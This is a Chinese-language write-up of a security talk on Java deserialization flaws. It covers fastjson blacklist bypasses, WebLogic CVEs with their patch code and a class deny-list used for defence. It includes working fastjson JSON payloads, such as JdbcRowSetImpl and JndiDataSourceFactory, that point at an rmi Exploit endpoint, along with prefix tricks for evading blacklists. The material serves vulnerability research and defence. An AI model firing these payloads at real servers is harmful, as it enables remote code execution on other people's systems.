先知议题 Java反序列化实战 解读

作者：廖新喜
公众号：廖新喜

1 议题和个人介绍

1.1 议题概述

2017年又是反序列漏洞的大年，涌现了许多经典的因为反序列化导致的远程代码执行漏洞，像fastjson，jackson，struts2，weblogic这些使用量非常大的产品都存在这类漏洞，但不幸的是，这些漏洞的修复方式都是基于黑名单，每次都是旧洞未补全，新洞已面世。随着虚拟货币的暴涨，这些直接的远程执行代码漏洞都成了挖矿者的乐园。

本议题将从那些经典案例入手，分析攻击方和防御方的对抗过程。首先是fastjson的最近的安全补丁的分析，由于黑名单做了加密处理，这里会展开如何得到其黑名单，如何构造PoC。当然2018年的重点还是weblogic，由我给大家剖析CVE-2018-2628及其他Weblogic经典漏洞，带大家傲游反序列化的世界，同时也是希望开发者多多借鉴做好安全编码。

1.2 个人简介：

本文作者来自绿盟科技，现任网络安全攻防实验室安全研究经理，安全行业从业七年，是看雪大会讲师，Pycon大会讲师，央视专访嘉宾，向RedHat、Apache、Amazon，Weblogic，阿里提交多份RCE漏洞报告，最近的Weblogic CVE-2018-2628就是一个。

个人博客：xxlegend.com

2 反序列化入门

序列化和反序列化是java引入的数据传输存储接口，序列化是用于将对象转换成二进制串存储，对应着writeObject，而反序列正好相反，将二进制串转换成对象，对应着readObject，类必须实现反序列化接口，同时设置serialVersionUID以便适用不同jvm环境。

可通过SerializationDumper这个工具来查看其存储格式,工具直接可在github上搜索.主要包括Magic头：0xaced,TCOBJECT:0x73,TCCLASS:0x72,serialVersionUID,newHandle

使用场景:

反序列攻击时序图:

常见的反序列化项目：

3 fastjson

3.1 简介

Fastjson是Alibaba开发的，Java语言编写的高性能JSON库。采用“假定有序 快速匹配”的算法，号称Java语言中最快的JSON库。提供两个主要接口toJsonString和parseObject来分别实现序列化和反序列化，示例代码如下：

User user = new User("guest",2);

String jsonString = JSON.toJSONString(user)

String jsonString = "{\\"name\\":\\"guest\\",\\"age\\":12}"

User user = (User)JSON.parse(jsonString)

Fastjson PoC分类

主要分为两大类，一个是基于TemplateImpl，另外就是基于基于JNDI，基于JNDI的又可分为

a) Bean Property类型
b) Field类型

可以参考Demo：https://github.com/shengqi158/fastjson-remote-code-execute-poc

fastjson为了防止研究人员研究它的黑名单，想出了一套新的黑名单机制，这套黑名单是基于具体类的hash加密算法，不可逆。如果是简单穷举，基本算不出来，后来我想到这些库的黑名单肯定都在Maven仓库中，于是写了个爬虫，爬取Maven仓库下所有类，然后正向匹配输出真正的黑名单类。

3.2 fastjson最近的几个经典漏洞

下面这段代码是fastjson用来自定义loadClass的实现

   public static Class<?> loadClass(String className, ClassLoader classLoader) {

          //省略

        if (className.charAt(0) == '[') {

            Class<?> componentType = loadClass(className.substring(1), classLoader);

            return Array.newInstance(componentType, 0).getClass();

        }


        if (className.startsWith("L") && className.endsWith(";")) {

            String newClassName = className.substring(1, className.length() - 1);

            return loadClass(newClassName, classLoader);

        }


        try {

            if (classLoader != null) {

                clazz = classLoader.loadClass(className);

首先我们来看一个经典的PoC，{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit"," "autoCommit":true},关于这个PoC的解读在我博客上有，这里不再详述，但是今天我们要讲的是前面贴出的一段loadClass导致的一系列漏洞，首先看1.2.41的绕过方法是 Lcom.sun.rowset.RowSetImpl;,当时看到这个PoC的时候就在想官方不会只去掉一次第一个字符 L和最后一个字符 ；吧，果不其然，在官方的修补方案中，如果以 L打头， ；结尾则会去掉打头和结尾。当时我就发了一个感概：补丁未出，漏洞已行。很显然，1.2.42的绕过方法是 LLcom.sum.rowset.RowSetImpl;;,细心的读者还会看到loadClass的第一个if判断中还有 [打头部分，所以就又有了1.2.43的绕过方法是 [com.sun.rowset.RowSetImp. 在官方版本1.2.45黑名单中又添加了ibatis的黑名单，PoC如下: {"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}，首先这是一个基于JNDI的PoC，为了更加理解这个PoC，我们还是先来看一下JndiDataSourceFactory的源码。

public class JndiDataSourceFactory implements DataSourceFactory {

  public static final String DATA_SOURCE = "data_source";

  //省略

  public void setProperties(Properties properties) {

    try {

      InitialContext initCtx = null;

      Hashtable env = getEnvProperties(properties);

      if (env == null) {

        initCtx = new InitialContext();

      } else {

        initCtx = new InitialContext(env);

      }

      //省略

      } else if (properties.containsKey(DATA_SOURCE)) {

        dataSource = (DataSource) initCtx.lookup(properties.getProperty(DATA_SOURCE));

      }


    } catch (NamingException e) {

      throw new DataSourceException("There was an error configuring JndiDataSourceTransactionPool. Cause: " + e, e);

    }

  }

其本质还是通过bean操作接口set来调用setProperties，然后触发JNDI查询。

4 weblogic

Weblogic是第一个成功商业化的J2EE应用服务器，在大型企业中使用非常广泛。在Oracle旗下，可以与其他Oracle产品强强联手，WebLogic Server Java EE 应用基于标准化、模块化的组件，WebLogic Server 为这些模块提供了一组完整的服务，无需编程即可自动处理应用行为的许多细节，另外其独有的T3协议采用序列化实现。下图就是weblogic的历史漏洞展示：

CVE-2015-4852

基于T3 

org.apache.commons.collections.functors* *
com.sun.org.apache.xalan.internal.xsltc.trax* *
javassist* *
org.codehaus.groovy.runtime.ConvertedClosure
org.codehaus.groovy.runtime.ConversionHandler
org.codehaus.groovy.runtime.MethodClosure
weblogic.rjvm.InboundMsgAbbrev.class :: ServerChannelInputStream
weblogic.rjvm.MsgAbbrevInputStream.class
weblogic.iiop.Utils.class

CVE-2016-0638

首先来看下漏洞位置，在readExternal位置，

            public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {

                super.readExternal(var1);

                //省略

                    ByteArrayInputStream var4 = new ByteArrayInputStream(this.buffer);

                    ObjectInputStream var5 = new ObjectInputStream(var4);

                    //省略

                    try {

                        while (true) {

                            this.writeObject(var5.readObject());

                        }

                    } catch (EOFException var9) {

再来看看补丁，加了一个FilteringObjectInputStream过滤接口

            public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {

                super.readExternal(var1);

                //省略

                    this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)in)

                    BufferInputStream is = this.payload.getInputStream();

                    FilteringObjectInputStream var5 = new FilteringObjectInputStream(var4);

                    //省略

                    try {

                        while (true) {

                            this.writeObject(var5.readObject());

                        }

                    } catch (EOFException var9) {

FilteringObjectInputStream的实现如下：

   public class FilteringObjectInputStream extends ObjectInputStream {

   public FilteringObjectInputStream(InputStream in) throws IOException {

      super(in);

   }


   protected Class<?> resolveClass(java.io.ObjectStreamClass descriptor) throws ClassNotFoundException, IOException {

      String className = descriptor.getName();

      if(className != null && className.length() > 0 && ClassFilter.isBlackListed(className)) {

         throw new InvalidClassException("Unauthorized deserialization attempt", descriptor.getName());

      } else {

         return super.resolveClass(descriptor);

      }

   }

}

其实就是在resolveClass位置加了一层黑名单控制。

基于XMLDecoder

CVE-2017-3248

   private static class ServerChannelInputStream extends ObjectInputStream implements ServerChannelStream {

      protected Class resolveClass(ObjectStreamClass descriptor) throws ClassNotFoundException, IOException {

         String className = descriptor.getName();

         if(className != null && className.length() > 0

             && ClassFilter.isBlackListed(className)) {

            throw new InvalidClassException("Unauthorized deserialization attempt", descriptor.getName());

         } else {

            Class c = super.resolveClass(descriptor);

              //省略

         }

      }


      protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {

         String[] arr$ = interfaces;

         int len$ = interfaces.length;


         for(int i$ = 0; i$ < len$; ++i$) {

            String intf = arr$[i$];

            if(intf.equals("java.rmi.registry.Registry")) {

               throw new InvalidObjectException("Unauthorized proxy deserialization");

            }

         }


         return super.resolveProxyClass(interfaces);

      }

CVE-2017-3248 这个漏洞是根据JRMPListener来构造的，从这个补丁也可以看出，在resolveClass和resolveProxyClass都设置了黑名单。

CVE-2018-2628

这个漏洞是我报给Oracle官方的，但是他们并没有修复完全，导致后来这个漏洞被滥用。

攻击示意图如下：

简单分析可见：http://xxlegend.com/2018/04/18/CVE-2018-2628%20%E7%AE%80%E5%8D%95%E5%A4%8D%E7%8E%B0%E5%92%8C%E5%88%86%E6%9E%90/

5 反序列化防御

5.1 Weblogic防御

黑名单：

maxdepth=100;
!org.codehaus.groovy.runtime.ConvertedClosure;
!org.codehaus.groovy.runtime.ConversionHandler;
!org.codehaus.groovy.runtime.MethodClosure;
!org.springframework.transaction.support.AbstractPlatformTra
nsactionManager;
!sun.rmi.server.UnicastRef;
!org.apache.commons.collections.functors.*;
!com.sun.org.apache.xalan.internal.xsltc.trax.*;
!javassist.*

当然也有失效的时候，就是发现了新的gadget。这也促使Oracle开始放弃反序列化支持。

5.2 原生反序列化防御

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